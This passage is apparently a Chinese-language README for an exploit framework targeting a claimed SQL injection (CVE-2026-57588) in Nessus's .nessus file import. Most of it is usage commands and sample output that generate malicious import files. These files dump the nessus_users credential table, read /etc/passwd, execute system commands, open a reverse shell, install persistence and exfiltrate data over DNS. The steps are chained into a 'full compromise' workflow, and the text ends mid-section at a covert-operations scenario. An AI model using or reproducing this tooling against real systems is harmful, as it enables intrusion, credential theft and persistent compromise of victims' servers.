🛡️ CVE-2026-57588 - Nessus SQL注入利用框架
📋 目录
🔍 概述
CVE-2026-57588 是 Tenable Nessus 版本 10.12.0 及之前版本 中发现的一个严重 SQL注入漏洞。该漏洞存在于导入 .nessus 扫描结果文件时的 XML解析机制中,允许具有导入权限的认证用户在后台 PostgreSQL 数据库上执行任意 SQL 查询。
⚠️ 漏洞详情
| 属性 | 值 |
|---|
| CVE ID | CVE-2026-57588 |
| 漏洞类型 | SQL注入 |
| 受影响产品 | Tenable Nessus 10.12.0 及之前版本 |
| 修复版本 | Nessus 10.12.1 及更高版本 |
| CVSS 评分 | 4.3(中危) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 已认证(导入权限) |
| 用户交互 | 需要(社会工程学) |
| 影响 | 数据泄露、远程代码执行 |
🔬 技术细节
该漏洞是由于在导入过程中,XML 标签值在合并到 SQL 查询之前未进行充分的清理。恶意攻击者可以精心构造一个 .nessus 文件,其中包含在以下 XML 标签中的特制 SQL注入 payload:
hostname
fqdn
os
system-type
mac-address
netbios-name
当有权限的用户导入该恶意文件时,未经清理的值会在 PostgreSQL 后端执行,从而实现:
- 数据库枚举
- 数据泄露
- 命令执行
- 文件系统访问
- 持久化安装
✨ 功能特性
点击展开功能列表
🎯 Payload 管理
- 13+种Payload类型,按用途分类
- 基于模板的Payload生成
- 自定义Payload创建和验证
- 参数验证和语法检查
- SQL语法验证
🚀 利用能力
- 多阶段利用,支持并行执行
- 数据库指纹识别和枚举
- 数据泄露,支持自定义表/列选择
- 命令执行在目标系统上
- 文件系统访问和读取
- 反向Shell,支持交互式会话
- 持久化安装机制
- 基于时间的盲注
- 基于布尔的盲注
- 基于错误的注入
- 堆叠查询用于高级利用
- 带外DNS泄露
📊 报告与日志
- HTML报告,专业样式
- Markdown报告,便于文档化
- JSON报告,便于自动化
- 文本报告,快速查看
- 日志轮转,多级别支持
- 详细执行统计
- 文件哈希用于完整性验证
🛠️ 高级特性
- 并行执行,可配置任务数
- 代理支持,用于隐秘操作
- SSL/TLS证书处理
- XML验证和模式检查
- 交互模式,用于实时利用
- 重试机制,确保可靠性
- 超时配置,适用于慢速连接
📦 专业工具
- 基于子命令的CLI结构
- 详细和安静模式
- 彩色终端输出
- 长时间任务进度指示
- Docker支持,容器化测试
- 跨平台兼容(Linux、Windows、macOS)
📦 安装
🐍 前提条件
- Python 3.7 或更高版本
- pip(Python包管理器)
- Git(可选,用于克隆)
🔧 快速安装
# 克隆仓库
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# 创建并激活虚拟环境
python3 -m venv venv
source venv/bin/activate # 在Windows上: venv\Scripts\activate
# 安装依赖
pip install -r requirements.txt
# 验证安装
python3 exploit.py --version
🐳 Docker 安装
# 构建Docker镜像
docker build -t nessus-exploit .
# 运行工具
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
📦 包安装
# 作为包安装
pip install -e .
# 现在可以从任意位置运行
nessus-exploit generate -u https://test.com -p enum
🚀 快速开始
基本用法
# 生成基础枚举利用
python3 exploit.py generate -u https://test.com -p enum
# 生成高级多阶段利用
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# 从数据库提取数据
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
命令帮助
# 显示通用帮助
python3 exploit.py --help
# 显示generate命令帮助
python3 exploit.py generate --help
# 列出所有可用的Payload
python3 exploit.py list
💡 使用示例
1. 基础枚举
python3 exploit.py generate -u https://test.com -p enum
预期输出
[2026-07-22 10:15:23] [INFO] [*] 正在针对 https://test.com 发起利用
[2026-07-22 10:15:23] [INFO] [*] 会话: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] 正在执行阶段: fingerprint
[2026-07-22 10:15:24] [INFO] [+] 已生成XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] 正在执行阶段: schema_dump
[2026-07-22 10:15:25] [INFO] [+] 已生成XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] 利用完成!耗时: 2.15s
============================================================
利用摘要
============================================================
目标: https://test.com
状态: 成功
耗时: 2.15s
生成文件数: 3
生成报告数: 3
============================================================
2. 高级多阶段利用
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
3. 数据泄露
# 提取用户凭据
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# 使用自定义列提取
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
4. 反向Shell
# 启动监听器并生成利用
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
5. 命令执行
# 执行基本命令
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# 执行复杂命令
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
6. 文件读取
# 读取系统文件
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# 读取应用程序日志
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
7. 基于时间的盲注
# 5秒延迟
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 30秒延迟用于重负载测试
python3 exploit.py generate -u https://test.com -p sleep -s 30
8. 代理支持
# HTTP代理
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# 带认证的HTTPS代理
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
9. 并行执行
# 使用8个并行任务运行
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# 自定义超时和重试
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
10. 详细模式和安静模式
# 详细模式(详细输出)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# 安静模式(最小输出)
python3 exploit.py generate -u https://test.com -p advanced -q
📚 Payload 类型
类别: FINGERPRINTING
| Payload | 描述 | 参数 |
|---|
fingerprint | 数据库指纹识别 | 无 |
类别: UNION
| Payload | 描述 | 参数 |
|---|
schema_dump | 转储数据库模式 | 无 |
data_exfil | 提取表数据 | table, columns |
类别: TIMING
| Payload | 描述 | 参数 |
|---|
time_based | 基于时间的盲注 | delay |
boolean_blind | 基于布尔的盲注 | condition, delay |
类别: FILE_ACCESS
| Payload | 描述 | 参数 |
|---|
file_read | 读取系统文件 | path, offset, length |
类别: COMMAND_EXEC
| Payload | 描述 | 参数 |
|---|
command_exec | 执行系统命令 | command |
类别: REVERSE_SHELL
| Payload | 描述 | 参数 |
|---|
reverse_shell | 建立反向Shell | host, port |
类别: PERSISTENCE
| Payload | 描述 | 参数 |
|---|
persistence | 安装持久化 | 无 |
类别: ERROR_BASED
| Payload | 描述 | 参数 |
|---|
error_based | 基于错误的注入 | query |
类别: STACKED
| Payload | 描述 | 参数 |
|---|
stacked_queries | 堆叠查询 | query |
类别: OUT_OF_BAND
| Payload | 描述 | 参数 |
|---|
oob_dns | DNS泄露 | host, data |
🎯 高级场景
场景1: 完全攻陷工作流
# 第1步:枚举数据库
python3 exploit.py generate -u https://test.com -p enum -v
# 第2步:提取敏感数据
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# 第3步:建立持久化
python3 exploit.py generate -u https://test.com -p persist
# 第4步:设置反向Shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444
场景2: 隐秘操作